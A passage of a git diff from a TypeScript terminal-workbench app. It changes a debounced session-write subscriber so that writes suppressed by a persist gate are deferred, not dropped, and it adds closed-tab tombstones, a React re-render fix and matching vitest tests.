-  it('updates its baseline without scheduling when shouldSchedulePersist returns false', () => {
+  it('defers rather than drops a change made while shouldSchedulePersist returns false', () => {
     const persist = vi.fn<(payload: WorkspaceSessionWrite) => void>()
     let shouldSchedule = false
     const cleanup = createSessionWriteSubscriber({
       store: useAppStore,
       persist,
-      shouldSchedulePersist: () => shouldSchedule
+      shouldSchedulePersist: () => shouldSchedule,
+      subscribeToPersistGateOpen: noGateOpenWakeUp
     })
 
     useAppStore.setState({ workspaceSessionReady: true, hydrationSucceeded: true })
@@ -588,25 +592,34 @@ describe('createSessionWriteSubscriber', () => {
     useAppStore.setState({ activeTabId: 'tab-1' })
     vi.advanceTimersByTime(200)
     expect(persist).toHaveBeenCalledTimes(1)
+    // The suppressed first pass owed every field; only activeTabId changed after the gate opened.
+    expect(persist.mock.calls[0][0].patch.tabsByWorktree).toBeDefined()
     cleanup()
   })
 
-  it('cancels a pending debounce when shouldSchedulePersist returns false', () => {
+  it('holds a write whose change arrived while shouldSchedulePersist returned false', () => {
     const persist = vi.fn<(payload: WorkspaceSessionWrite) => void>()
     let shouldSchedule = true
     const cleanup = createSessionWriteSubscriber({
       store: useAppStore,
       persist,
-      shouldSchedulePersist: () => shouldSchedule
+      shouldSchedulePersist: () => shouldSchedule,
+      subscribeToPersistGateOpen: noGateOpenWakeUp
     })
 
-    useAppStore.setState({ workspaceSessionReady: true })
+    useAppStore.setState({ workspaceSessionReady: true, hydrationSucceeded: true })
     vi.advanceTimersByTime(50)
     shouldSchedule = false
     useAppStore.setState({ activeTabId: 'remote-tab' })
     vi.advanceTimersByTime(200)
 
     expect(persist).not.toHaveBeenCalled()
+
+    shouldSchedule = true
+    useAppStore.setState({ activeRepoId: 'repo-after-remote-pull' })
+    vi.advanceTimersByTime(200)
+    expect(persist).toHaveBeenCalledTimes(1)
+    expect(persist.mock.calls[0][0].patch.activeTabId).toBe('remote-tab')
     cleanup()
   })
 
@@ -616,7 +629,8 @@ describe('createSessionWriteSubscriber', () => {
     const cleanup = createSessionWriteSubscriber({
       store: useAppStore,
       persist,
-      shouldSchedulePersist: () => shouldSchedule
+      shouldSchedulePersist: () => shouldSchedule,
+      subscribeToPersistGateOpen: noGateOpenWakeUp
     })
 
     useAppStore.setState({ workspaceSessionReady: true, hydrationSucceeded: true })
@@ -629,6 +643,13 @@ describe('createSessionWriteSubscriber', () => {
     vi.advanceTimersByTime(200)
 
     expect(persist).not.toHaveBeenCalled()
+
+    // The suppressed write is owed, not forgotten: it lands when the gate reopens.
+    shouldSchedule = true
+    useAppStore.setState({ activeTabId: 'tab-after-remote-pull' })
+    vi.advanceTimersByTime(200)
+    expect(persist).toHaveBeenCalledTimes(1)
+    expect(persist.mock.calls[0][0].patch.activeWorktreeId).toBe('wt-before-remote-pull')
     cleanup()
   })
 
diff --git a/src/renderer/src/lib/session-write-subscriber.ts b/src/renderer/src/lib/session-write-subscriber.ts
index 6e2eda4ed1f..f01b7b25011 100644
--- a/src/renderer/src/lib/session-write-subscriber.ts
+++ b/src/renderer/src/lib/session-write-subscriber.ts
@@ -77,15 +77,30 @@ export type WorkspaceSessionWrite = {
   patch: WorkspaceSessionPatch
 }
 
+/**
+ * Why the two are one unit and not two optional callbacks: a gate can reopen on a wall clock (the
+ * direct-SSH apply's suppression tail) with no store update behind it. A caller that supplies the
+ * gate but no wake-up would strand every write deferred in that window until some unrelated
+ * mutation happened along — the failure this deferral exists to prevent. Pairing them in the type
+ * makes that combination unwriteable rather than merely discouraged.
+ */
+type SessionWritePersistGate =
+  | { shouldSchedulePersist?: undefined; subscribeToPersistGateOpen?: undefined }
+  | {
+      /** False defers the write; it never drops it. */
+      shouldSchedulePersist: () => boolean
+      /** Called when the gate may have reopened. Returns an unsubscribe. */
+      subscribeToPersistGateOpen: (onGateOpen: () => void) => () => void
+    }
+
 export type SessionWriteSubscriberDeps = {
   store: {
     subscribe: (listener: (state: AppState) => void) => () => void
     getState: () => AppState
   }
   persist: (payload: WorkspaceSessionWrite) => void
-  shouldSchedulePersist?: () => boolean
   debounceMs?: number
-}
+} & SessionWritePersistGate
 
 /**
  * Why: factored out so a vitest can drive the real Zustand store and assert
@@ -97,6 +112,7 @@ export function createSessionWriteSubscriber({
   store,
   persist,
   shouldSchedulePersist,
+  subscribeToPersistGateOpen,
   debounceMs = 150
 }: SessionWriteSubscriberDeps): () => void {
   let timer: ReturnType<typeof setTimeout> | null = null
@@ -108,10 +124,50 @@ export function createSessionWriteSubscriber({
   // reuse the prior identity while a real session change keeps fresh tabs for
   // the eventual getState() patch build. `null` makes the first fire proceed.
   let prev: Record<string, unknown> | null = null
+  // Why: this set is the only record that a mutation still owes a write — `prev` has already
+  // advanced past it, and change detection is identity-based, so a field dropped from here can
+  // never be re-detected. It is retired only by a flush that reached `persist` (or found nothing
+  // left to write), and by unsubscribe. A closed gate never retires it.
   const pendingChangedFields = new Set<SessionRelevantField>()
   const terminalTabsProjection = createTerminalSessionTabsProjection()
   const unifiedTabsProjection = createUnifiedSessionTabsProjection()
 
+  const flushPendingWrite = (): void => {
+    timer = null
+    // Why: rebuild from the freshest store state rather than the snapshot
+    // captured when this timer was scheduled. Today this is equivalent
+    // because buildWorkspaceSessionPayload reads only SESSION_RELEVANT_FIELDS
+    // (the same fields gating the timer reset), so the captured `state` is
+    // already current for those fields. Calling getState() guards against a
+    // future refactor that adds a non-relevant field read to the payload
+    // builder — without this, such a change would silently start emitting
+    // stale values for that field.
+    const fresh = store.getState()
+    // Why: a closed gate defers, it never discards. Returning with the pending set intact leaves
+    // the write owed; the next store update or gate-open wake-up re-arms it. Nothing re-arms from
+    // here, so a gate that never reopens costs no timer.
+    if (!shouldPersistWorkspaceSession(fresh)) {
+      return
+    }
+    if (shouldSchedulePersist && !shouldSchedulePersist()) {
+      return
+    }
+    const changed = new Set(pendingChangedFields)
+    pendingChangedFields.clear()
+    const patch = buildWorkspaceSessionPatch(fresh, changed)
+    if (Object.keys(patch).length === 0) {
+      return
+    }
+    persist({ patch })
+  }
+
+  const armFlushTimer = (): void => {
+    if (timer !== null) {
+      clearTimeout(timer)
+    }
+    timer = setTimeout(flushPendingWrite, debounceMs)
+  }
+
   const unsub = store.subscribe((state) => {
     if (!shouldPersistWorkspaceSession(state)) {
       return
@@ -130,7 +186,7 @@ export function createSessionWriteSubscriber({
       prev === null
         ? [...SESSION_RELEVANT_FIELDS]
         : SESSION_RELEVANT_FIELDS.filter((key) => prev?.[key] !== next[key])
-    if (changedFields.length === 0) {
+    if (changedFields.length === 0 && pendingChangedFields.size === 0) {
       return
     }
     prev = next
@@ -138,47 +194,26 @@ export function createSessionWriteSubscriber({
       pendingChangedFields.add(field)
     }
     if (shouldSchedulePersist && !shouldSchedulePersist()) {
-      if (timer !== null) {
-        clearTimeout(timer)
-        timer = null
-      }
-      pendingChangedFields.clear()
       return
     }
-    if (timer !== null) {
-      clearTimeout(timer)
+    // Why: an unrelated update may wake a deferred write but must never reset an armed debounce —
+    // that reset storm is exactly what the changed-field gate above exists to prevent.
+    if (timer !== null && changedFields.length === 0) {
+      return
     }
-    timer = setTimeout(() => {
-      timer = null
-      // Why: rebuild from the freshest store state rather than the snapshot
-      // captured when this timer was scheduled. Today this is equivalent
-      // because buildWorkspaceSessionPayload reads only SESSION_RELEVANT_FIELDS
-      // (the same fields gating the timer reset), so the captured `state` is
-      // already current for those fields. Calling getState() guards against a
-      // future refactor that adds a non-relevant field read to the payload
-      // builder — without this, such a change would silently start emitting
-      // stale values for that field.
-      const fresh = store.getState()
-      if (!shouldPersistWorkspaceSession(fresh)) {
-        pendingChangedFields.clear()
-        return
-      }
-      if (shouldSchedulePersist && !shouldSchedulePersist()) {
-        pendingChangedFields.clear()
-        return
-      }
-      const changed = new Set(pendingChangedFields)
-      pendingChangedFields.clear()
-      const patch = buildWorkspaceSessionPatch(fresh, changed)
-      if (Object.keys(patch).length === 0) {
-        return
-      }
-      persist({ patch })
-    }, debounceMs)
+    armFlushTimer()
+  })
+
+  const unsubGateOpen = subscribeToPersistGateOpen?.(() => {
+    if (pendingChangedFields.size === 0 || timer !== null) {
+      return
+    }
+    armFlushTimer()
   })
 
   return () => {
     unsub()
+    unsubGateOpen?.()
     if (timer !== null) {
       clearTimeout(timer)
     }
diff --git a/src/renderer/src/lib/terminal-worktree-route.test.ts b/src/renderer/src/lib/terminal-worktree-route.test.ts
index 24255b61c02..85826d52207 100644
--- a/src/renderer/src/lib/terminal-worktree-route.test.ts
+++ b/src/renderer/src/lib/terminal-worktree-route.test.ts
@@ -65,6 +65,25 @@ describe('resolveTerminalWorktreeRoute', () => {
     })
   })
 
+  it('routes and tears down an unstamped local worktree despite an unrelated saved runtime', () => {
+    const ownerlessWorktree = { id: 'repo-1::/w', repoId: 'repo-1' }
+    const state = localState({
+      repos: [{ id: 'repo-1' }],
+      worktreesByRepo: { 'repo-1': [ownerlessWorktree] },
+      detectedWorktreesByRepo: { 'repo-1': { worktrees: [ownerlessWorktree] } },
+      runtimeEnvironments: [{ id: 'saved-runtime' }],
+      settings: { activeRuntimeEnvironmentId: null }
+    } as unknown as Partial<AppState>)
+
+    expect(resolveTerminalWorktreeRoute(state, 'repo-1::/w')).toEqual({
+      runtimeEnvironmentId: null
+    })
+    expect(resolveTerminalHostOwnership(state, 'repo-1::/w', 'teardown')).toEqual({
+      kind: 'local-or-ssh',
+      runtimeEnvironmentId: null
+    })
+  })
+
   it('still fails a genuinely unknown/stale worktree closed', () => {
     expect(resolveTerminalWorktreeRoute(localState(), 'repo-9::/stale')).toBeNull()
   })
diff --git a/src/renderer/src/lib/use-tab-agent-observed-signal-dispatch.test.tsx b/src/renderer/src/lib/use-tab-agent-observed-signal-dispatch.test.tsx
new file mode 100644
index 00000000000..e7e6ec0012d
--- /dev/null
+++ b/src/renderer/src/lib/use-tab-agent-observed-signal-dispatch.test.tsx
@@ -0,0 +1,148 @@
+/** @vitest-environment happy-dom */
+/**
+ * Crash cluster "React #185 whose component_stack names SortableTab"
+ * (boundary terminal.workbench, app 1.4.190).
+ *
+ * useTabAgent's signal effect re-runs on every tab-model write that touches the
+ * title — a working agent republishes an OSC spinner frame many times a second,
+ * re-minting tabsByWorktree — and it used to dispatch setHasObservedAgentSignal(true)
+ * on every run, including the overwhelming majority where the flag was already true.
+ * That dispatch costs a second render+commit of SortableTab per title frame, and it
+ * puts a dispatchSetState on SortableTab's fiber inside commitHookEffectListMount —
+ * the exact frame the #185 reports blame (see shared/react-update-depth-attribution.ts:
+ * the throw lands on whoever dispatches next after a root-global counter trips).
+ *
+ * Same defect and same remedy as the cold-park fix in
+ * terminal-cold-park-tab-model-identity.react185.test.tsx.
+ */
+import { act } from 'react'
+import { createRoot, type Root } from 'react-dom/client'
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+import { useAppStore } from '@/store'
+import type { AgentStatusEntry } from '../../../shared/agent-status-types'
+import { makePaneKey } from '../../../shared/stable-pane-id'
+import type { TerminalLayoutSnapshot, TerminalTab } from '../../../shared/terminal-tab-types'
+import type { TuiAgent } from '../../../shared/tui-agent'
+import { useTabAgent } from './use-tab-agent'
+
+;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
+
+const initialAppState = useAppStore.getInitialState()
+const WORKTREE_ID = 'repo::/tab-agent-observed-signal'
+const TAB_ID = 'terminal-tab-observed-signal'
+const LEAF_ID = '11111111-1111-4111-8111-111111111111'
+const PANE_KEY = makePaneKey(TAB_ID, LEAF_ID)
+const TITLE_PUBLICATIONS = 10
+
+function paneLayout(ptyId: string): TerminalLayoutSnapshot {
+  return {
+    root: null,
+    activeLeafId: LEAF_ID,
+    expandedLeafId: null,
+    ptyIdsByLeafId: { [LEAF_ID]: ptyId }
+  }
+}
+
+function workingAgentStatus(): AgentStatusEntry {
+  return {
+    state: 'working',
+    prompt: '',
+    updatedAt: Date.now(),
+    stateStartedAt: Date.now(),
+    agentType: 'codex',
+    paneKey: PANE_KEY,
+    stateHistory: []
+  } as AgentStatusEntry
+}
+
+function terminalTab(title: string): TerminalTab {
+  return {
+    id: TAB_ID,
+    worktreeId: WORKTREE_ID,
+    ptyId: 'pty-a',
+    title,
+    generation: 0
+  } as TerminalTab
+}
+
+/** An ordinary agent spinner frame: re-mints tabsByWorktree, changes no agent signal. */
+function publishRuntimeTitle(revision: number): void {
+  useAppStore.setState(
+    (state) =>
+      ({
+        tabsByWorktree: {
+          ...state.tabsByWorktree,
+          [WORKTREE_ID]: [terminalTab(`⠋ codex ${revision}`)]
+        }
+      }) as never
+  )
+}
+
+let probeRenders = 0
+let latestAgent: TuiAgent | null = null
+
+/** Stands in for SortableTab, useTabAgent's only production caller. */
+function TabAgentProbe(): null {
+  probeRenders += 1
+  const tab = useAppStore((state) => state.tabsByWorktree[WORKTREE_ID]?.[0]) as TerminalTab
+  latestAgent = useTabAgent(tab)
+  return null
+}
+
+describe('useTabAgent observed-signal dispatch', () => {
+  let container: HTMLDivElement
+  let root: Root | undefined
+
+  beforeEach(() => {
+    useAppStore.setState({
+      agentStatusByPaneKey: { [PANE_KEY]: workingAgentStatus() },
+      terminalLayoutsByTabId: { [TAB_ID]: paneLayout('pty-a') },
+      ptyIdsByTabId: { [TAB_ID]: ['pty-a'] },
+      tabsByWorktree: { [WORKTREE_ID]: [terminalTab('⠋ codex 0')] }
+    } as never)
+    container = document.createElement('div')
+    document.body.appendChild(container)
+    probeRenders = 0
+    latestAgent = null
+    root = createRoot(container)
+    act(() => root!.render(<TabAgentProbe />))
+  })
+
+  afterEach(() => {
+    act(() => root?.unmount())
+    root = undefined
+    container.remove()
+    useAppStore.setState(initialAppState, true)
+  })
+
+  it('schedules no extra commit for a title publication that changes no agent signal', () => {
+    probeRenders = 0
+    for (let revision = 1; revision <= TITLE_PUBLICATIONS; revision += 1) {
+      act(() => publishRuntimeTitle(revision))
+    }
+    // One commit per publication. Re-dispatching the unchanged observed-signal
+    // flag doubled this, and put SortableTab's fiber in every #185 stack.
+    expect(probeRenders).toBe(TITLE_PUBLICATIONS)
+    expect(latestAgent).toBe('codex')
+  })
+
+  it('still re-arms the observed signal after a pty respawn', () => {
+    act(() => {
+      useAppStore.setState({
+        agentStatusByPaneKey: {},
+        terminalLayoutsByTabId: { [TAB_ID]: paneLayout('pty-b') },
+        ptyIdsByTabId: { [TAB_ID]: ['pty-b'] },
+        tabsByWorktree: { [WORKTREE_ID]: [terminalTab('zsh')] }
+      } as never)
+    })
+    expect(latestAgent).toBeNull()
+
+    act(() => {
+      useAppStore.setState({
+        agentStatusByPaneKey: { [PANE_KEY]: workingAgentStatus() },
+        tabsByWorktree: { [WORKTREE_ID]: [terminalTab('⠋ codex 1')] }
+      } as never)
+    })
+    expect(latestAgent).toBe('codex')
+  })
+})
diff --git a/src/renderer/src/lib/use-tab-agent.ts b/src/renderer/src/lib/use-tab-agent.ts
index b6c88400632..fef059ad616 100644
--- a/src/renderer/src/lib/use-tab-agent.ts
+++ b/src/renderer/src/lib/use-tab-agent.ts
@@ -284,7 +284,13 @@ export function useTabAgent(tab: TerminalTab): TuiAgent | null {
       ? explicitTitleAgent === tab.launchAgent
       : Boolean(explicitTitleAgent || siblingHookAgent)
     // Why: a recognized foreground process arms exit clearing even for agents with no hook or title integration.
-    if (focusedHookAgent || completedHookEvidence || processAgent || fallbackAgentSignal) {
+    // Why the ref gate: this effect re-runs on every title frame, and re-dispatching an
+    // already-true flag costs SortableTab a second commit each time — and names its fiber
+    // in #185 stacks driven elsewhere (see shared/react-update-depth-attribution.ts).
+    if (
+      !hasObservedAgentSignalRef.current &&
+      (focusedHookAgent || completedHookEvidence || processAgent || fallbackAgentSignal)
+    ) {
       hasObservedAgentSignalRef.current = true
       setHasObservedAgentSignal(true)
     }
diff --git a/src/renderer/src/lib/workspace-file-host-routing.ts b/src/renderer/src/lib/workspace-file-host-routing.ts
new file mode 100644
index 00000000000..7f1f29d82e7
--- /dev/null
+++ b/src/renderer/src/lib/workspace-file-host-routing.ts
@@ -0,0 +1,50 @@
+import { getConnectionId, getConnectionIdForFile } from '@/lib/connection-context'
+import {
+  isRemoteRuntimeFileOperation,
+  type RuntimeFileOperationArgs
+} from '@/runtime/runtime-file-client'
+import { settingsForRuntimeOwner } from '@/runtime/runtime-rpc-client'
+import { useAppStore } from '@/store'
+
+/** Which host owns a workspace file, resolved the same way for every surface that opens one. */
+export function buildWorkspaceFileContext(
+  worktreeId: string,
+  worktreePath: string,
+  runtimeEnvironmentId?: string | null
+): RuntimeFileOperationArgs {
+  const settings = useAppStore.getState().settings
+  return {
+    settings: settingsForRuntimeOwner(settings, runtimeEnvironmentId),
+    worktreeId: worktreeId || null,
+    worktreePath,
+    connectionId: getConnectionId(worktreeId || null) ?? undefined
+  }
+}
+
+/**
+ * Same, for a surface that already resolved ownership per file rather than per workspace. A folder
+ * workspace can span repos on different hosts, so its workspace-scoped answer is `undefined` where
+ * the file's own answer is a concrete host — and `undefined` reads downstream as "local".
+ */
+export function buildWorkspaceFileContextForFile(
+  worktreeId: string,
+  worktreePath: string,
+  filePath: string,
+  runtimeEnvironmentId?: string | null
+): RuntimeFileOperationArgs {
+  return {
+    ...buildWorkspaceFileContext(worktreeId, worktreePath, runtimeEnvironmentId),
+    connectionId: getConnectionIdForFile(worktreeId || null, filePath) ?? undefined
+  }
+}
+
+/**
+ * Whether the client's OS can launch this path at all. False for anything an SSH connection or a
+ * runtime environment owns — those have to be downloaded before the OS has a file to open.
+ */
+export function canClientOsOpenWorkspaceFile(
+  fileContext: RuntimeFileOperationArgs,
+  filePath: string
+): boolean {
+  return !fileContext.connectionId && !isRemoteRuntimeFileOperation(fileContext, filePath)
+}
diff --git a/src/renderer/src/lib/workspace-session-browser-history.test.ts b/src/renderer/src/lib/workspace-session-browser-history.test.ts
index c8c4c53480e..152642f65ae 100644
--- a/src/renderer/src/lib/workspace-session-browser-history.test.ts
+++ b/src/renderer/src/lib/workspace-session-browser-history.test.ts
@@ -32,7 +32,8 @@ function createSnapshot(browserUrlHistory: BrowserHistoryEntry[]): WorkspaceSess
     worktreesByRepo: {},
     lastKnownRelayPtyIdByTabId: {},
     lastVisitedAtByWorktreeId: {},
-    defaultTerminalTabsAppliedByWorktreeId: {}
+    defaultTerminalTabsAppliedByWorktreeId: {},
+    closedTerminalTabTombstonesByTabId: {}
   }
 }
 
diff --git a/src/renderer/src/lib/workspace-session-closed-tab-tombstones.test.ts b/src/renderer/src/lib/workspace-session-closed-tab-tombstones.test.ts
new file mode 100644
index 00000000000..522b079aff6
--- /dev/null
+++ b/src/renderer/src/lib/workspace-session-closed-tab-tombstones.test.ts
@@ -0,0 +1,38 @@
+import { describe, expect, it } from 'vitest'
+import { buildWorkspaceSessionPatch } from './workspace-session-patch'
+import { SESSION_RELEVANT_FIELDS } from './workspace-session'
+import { CLOSED_TERMINAL_TAB_TOMBSTONE_TTL_MS } from '../../../shared/closed-terminal-tab-tombstones'
+
+// Why browserPagesByWorkspace is stubbed: buildWorkspaceSessionPatch pre-filters staged browser tabs
+// before field dispatch, so the minimal fixture has to carry the map it iterates.
+function patchFor(
+  map: Record<string, { closedAt: number; worktreeId: string }>
+): ReturnType<typeof buildWorkspaceSessionPatch> {
+  return buildWorkspaceSessionPatch(
+    { browserPagesByWorkspace: {}, closedTerminalTabTombstonesByTabId: map } as never,
+    ['closedTerminalTabTombstonesByTabId']
+  )
+}
+
+describe('closed-tab tombstones in the persisted session', () => {
+  it('is a session-relevant field, so a close on its own schedules a write', () => {
+    expect(SESSION_RELEVANT_FIELDS).toContain('closedTerminalTabTombstonesByTabId')
+  })
+
+  it('writes live tombstones and drops ones past the TTL', () => {
+    const now = Date.now()
+    expect(
+      patchFor({
+        fresh: { closedAt: now, worktreeId: 'repo-1::/srv/app' },
+        stale: {
+          closedAt: now - CLOSED_TERMINAL_TAB_TOMBSTONE_TTL_MS - 1,
+          worktreeId: 'repo-1::/srv/app'
+        }
+      }).closedTerminalTabTombstonesByTabId
+    ).toEqual({ fresh: { closedAt: now, worktreeId: 'repo-1::/srv/app' } })
+  })
+
+  it('omits the field entirely once the map empties', () => {
+    expect(patchFor({}).closedTerminalTabTombstonesByTabId).toBeUndefined()
+  })
+})
diff --git a/src/renderer/src/lib/workspace-session-closed-tab-tombstones.ts b/src/renderer/src/lib/workspace-session-closed-tab-tombstones.ts
new file mode 100644
index 00000000000..48b1cb1a727
--- /dev/null
+++ b/src/renderer/src/lib/workspace-session-closed-tab-tombstones.ts
@@ -0,0 +1,10 @@
+import type { WorkspaceSessionState } from '../../../shared/workspace-session-state-types'
+import { pruneClosedTerminalTabTombstones } from '../../../shared/closed-terminal-tab-tombstones'
+
+/** Applies the TTL/cap bound on the way to disk, and omits an empty map like its siblings. */
+export function buildPersistedClosedTerminalTabTombstones(
+  map: WorkspaceSessionState['closedTerminalTabTombstonesByTabId']
+): WorkspaceSessionState['closedTerminalTabTombstonesByTabId'] {
+  const pruned = pruneClosedTerminalTabTombstones(map, Date.now())
+  return Object.keys(pruned).length > 0 ? pruned : undefined
+}
diff --git a/src/renderer/src/lib/workspace-session-editor-drafts.test.ts b/src/renderer/src/lib/workspace-session-editor-drafts.test.ts
index ff740b6f5f8..c1292a9c74d 100644
--- a/src/renderer/src/lib/workspace-session-editor-drafts.test.ts
+++ b/src/renderer/src/lib/workspace-session-editor-drafts.test.ts
@@ -34,6 +34,7 @@ function createSnapshot(
     lastKnownRelayPtyIdByTabId: {},
     lastVisitedAtByWorktreeId: {},
     defaultTerminalTabsAppliedByWorktreeId: {},
+    closedTerminalTabTombstonesByTabId: {},
     ...overrides
   }
 }
diff --git a/src/renderer/src/lib/workspace-session-host-field-ownership.ts b/src/renderer/src/lib/workspace-session-host-field-ownership.ts
index b24e7118c02..0303fda7d4d 100644
--- a/src/renderer/src/lib/workspace-session-host-field-ownership.ts
+++ b/src/renderer/src/lib/workspace-session-host-field-ownership.ts
@@ -49,7 +49,10 @@ export const WORKSPACE_SESSION_FIELD_OWNERSHIP = {
   terminalPtyIncarnationsByPaneKey: 'paneKeyed',
   // Why: this host-issued fence must never collide while unified renderer state merges equal repo ids across hosts.
   terminalTopologyRevisionByRepoId: 'hostPrivate',
-  terminalSurfaceTombstonesByPaneKey: 'surfaceTombstoneKeyed'
+  terminalSurfaceTombstonesByPaneKey: 'surfaceTombstoneKeyed',
+  // Why not tabKeyed: the tab is already gone, so worktreeIdByTabId can never resolve it. Routing by
+  // the record's own worktreeId is the same problem terminalSurfaceTombstonesByPaneKey has.
+  closedTerminalTabTombstonesByTabId: 'surfaceTombstoneKeyed'
 } as const satisfies Record<keyof WorkspaceSessionState, WorkspaceSessionFieldOwnership>
 
 // Why: an unclassified persisted field would otherwise disappear from every non-local host.
diff --git a/src/renderer/src/lib/workspace-session-host-split.ts b/src/renderer/src/lib/workspace-session-host-split.ts
index ab374474b73..ab9325621f4 100644
--- a/src/renderer/src/lib/workspace-session-host-split.ts
+++ b/src/renderer/src/lib/workspace-session-host-split.ts
@@ -49,7 +49,9 @@ export type HostIdByWorktreeId = (worktreeId: string) => ExecutionHostId
  *  - browserWorkspaceKeyed: Record keyed by browser-workspace id; follows the
  *    page record's own worktreeId.
  *  - fileKeyed: Record keyed by editor file id; follows the open file's worktree.
- *  - sleepingAgentKeyed: Record keyed by pane key; follows the record's worktreeId. */
+ *  - sleepingAgentKeyed: Record keyed by pane key; follows the record's worktreeId.
+ *  - surfaceTombstoneKeyed: Record under an opaque key whose value names its own worktreeId --
+ *    the only routing available once the tab or pane it describes is gone. */
 type SplitContext = {
   hostIdByWorktreeId: HostIdByWorktreeId
   worktreeIdByTabId: Map<string, string>
diff --git a/src/renderer/src/lib/workspace-session-liveness.test.ts b/src/renderer/src/lib/workspace-session-liveness.test.ts
index f714230c2f9..6c10d2d0c54 100644
--- a/src/renderer/src/lib/workspace-session-liveness.test.ts
+++ b/src/renderer/src/lib/workspace-session-liveness.test.ts
@@ -33,6 +33,7 @@ function createSnapshot(
     lastKnownRelayPtyIdByTabId: {},
     lastVisitedAtByWorktreeId: {},
     defaultTerminalTabsAppliedByWorktreeId: {},
+    closedTerminalTabTombstonesByTabId: {},
     ...overrides
   }
 }
diff --git a/src/renderer/src/lib/workspace-session-patch.ts b/src/renderer/src/lib/workspace-session-patch.ts
index 5558aab409a..b67d7f3ebe4 100644
--- a/src/renderer/src/lib/workspace-session-patch.ts
+++ b/src/renderer/src/lib/workspace-session-patch.ts
@@ -19,6 +19,7 @@ import { withoutStagedBrowserTabs } from './workspace-session-staged-browser-tab
 import { buildPersistedUnifiedTabSessionData } from './workspace-session-unified-tabs'
 import { buildLastVisitedAtByWorktreeId } from './workspace-session-focus-recency'
 import { buildSleepingAgentSessionData } from './workspace-session-sleeping-agents'
+import { buildPersistedClosedTerminalTabTombstones } from './workspace-session-closed-tab-tombstones'
 
 type SessionRelevantField = keyof WorkspaceSessionSnapshot
 
@@ -160,6 +161,11 @@ export function buildWorkspaceSessionPatch(
         ? snapshot.defaultTerminalTabsAppliedByWorktreeId
         : undefined
   }
+  if (changed.has('closedTerminalTabTombstonesByTabId')) {
+    patch.closedTerminalTabTombstonesByTabId = buildPersistedClosedTerminalTabTombstones(
+      snapshot.closedTerminalTabTombstonesByTabId
+    )
+  }
   if (changed.has('sleepingAgentSessionsByPaneKey')) {
     patch.sleepingAgentSessionsByPaneKey =
       buildSleepingAgentSessionData(snapshot).sleepingAgentSessionsByPaneKey
diff --git a/src/renderer/src/lib/workspace-session-relevant-fields.test.ts b/src/renderer/src/lib/workspace-session-relevant-fields.test.ts
index abed4b44e01..e20f4195d3e 100644
--- a/src/renderer/src/lib/workspace-session-relevant-fields.test.ts
+++ b/src/renderer/src/lib/workspace-session-relevant-fields.test.ts
@@ -34,6 +34,7 @@ describe('SESSION_RELEVANT_FIELDS', () => {
     lastKnownRelayPtyIdByTabId: true,
     lastVisitedAtByWorktreeId: true,
     defaultTerminalTabsAppliedByWorktreeId: true,
+    closedTerminalTabTombstonesByTabId: true,
     sleepingAgentSessionsByPaneKey: true,
     clientHostedBrowserCloseIntentsByEnvironment: true
   }
diff --git a/src/renderer/src/lib/workspace-session.ts b/src/renderer/src/lib/workspace-session.ts
index 59debdfc9a7..73eaa482606 100644
--- a/src/renderer/src/lib/workspace-session.ts
+++ b/src/renderer/src/lib/workspace-session.ts
@@ -10,6 +10,7 @@ import type { OpenFile } from '../store/slices/editor'
 import { buildPersistedUnifiedTabSessionData } from './workspace-session-unified-tabs'
 import { buildLastVisitedAtByWorktreeId } from './workspace-session-focus-recency'
 import { buildSleepingAgentSessionData } from './workspace-session-sleeping-agents'
+import { buildPersistedClosedTerminalTabTombstones } from './workspace-session-closed-tab-tombstones'
 import { buildActiveConnectionIdsAtShutdown } from './workspace-session-reconnect-targets'
 import { withoutStagedBrowserTabs } from './workspace-session-staged-browser-tabs'
 import { buildBrowserSessionData } from './workspace-session-browser-tabs'
@@ -53,6 +54,7 @@ export type WorkspaceSessionSnapshot = Pick<
   | 'lastKnownRelayPtyIdByTabId'
   | 'lastVisitedAtByWorktreeId'
   | 'defaultTerminalTabsAppliedByWorktreeId'
+  | 'closedTerminalTabTombstonesByTabId'
 > & {
   activeWorkspaceExecutionHostId?: AppState['activeWorkspaceExecutionHostId']
   sleepingAgentSessionsByPaneKey?: AppState['sleepingAgentSessionsByPaneKey']
@@ -90,6 +92,7 @@ export const SESSION_RELEVANT_FIELDS = [
   'lastKnownRelayPtyIdByTabId',
   'lastVisitedAtByWorktreeId',
   'defaultTerminalTabsAppliedByWorktreeId',
+  'closedTerminalTabTombstonesByTabId',
   'sleepingAgentSessionsByPaneKey',
   'clientHostedBrowserCloseIntentsByEnvironment'
 ] as const satisfies readonly (keyof WorkspaceSessionSnapshot)[]
@@ -303,6 +306,9 @@ export function buildWorkspaceSessionPayload(
       Object.keys(snapshot.defaultTerminalTabsAppliedByWorktreeId).length > 0
         ? snapshot.defaultTerminalTabsAppliedByWorktreeId
         : undefined,
+    closedTerminalTabTombstonesByTabId: buildPersistedClosedTerminalTabTombstones(
+      snapshot.closedTerminalTabTombstonesByTabId
+    ),
     ...buildSleepingAgentSessionData(snapshot),
     // Why unconditional rather than omit-when-empty: a full write replaces the persisted object,
     // so an emptied map has to be written as empty or the last replay never sticks.
diff --git a/src/renderer/src/lib/workspace-terminal-host-authority.test.ts b/src/renderer/src/lib/workspace-terminal-host-authority.test.ts
new file mode 100644
index 00000000000..c7c5bc60f7e
--- /dev/null
+++ b/src/renderer/src/lib/workspace-terminal-host-authority.test.ts
@@ -0,0 +1,228 @@
+/**
+ * The seeding predicate answers one question for both remote flavors: does some other party own
+ * terminal creation for this workspace right now? Three answers, and only `none` seeds.
+ */
+import { describe, expect, it, vi } from 'vitest'
+import type * as AgentStatusModule from '@/lib/agent-status'
+import { createTestStore, makeWorktree } from '@/store/slices/store-test-helpers'
+import { ensureWorktreeHasInitialTerminal } from '@/lib/worktree-initial-terminal-seeding'
+import { resolveWorkspaceTerminalHostAuthority } from '@/lib/workspace-terminal-host-authority'
+
+vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
+vi.mock('@/lib/agent-status', async (importOriginal) => {
+  const actual = await importOriginal<typeof AgentStatusModule>()
+  return { ...actual, detectAgentStatusFromTitle: vi.fn().mockReturnValue(null) }
+})
+
+type TestStore = ReturnType<typeof createTestStore>
+
+const LOCAL_WORKTREE_ID = 'repoLocal::/home/dev/proj/feature'
+const SSH_WORKTREE_ID = 'repoSsh::/srv/proj/feature'
+const PAIRED_WORKTREE_ID = 'repoPaired::/srv/proj/paired'
+const TARGET_ID = 'ssh-target-1'
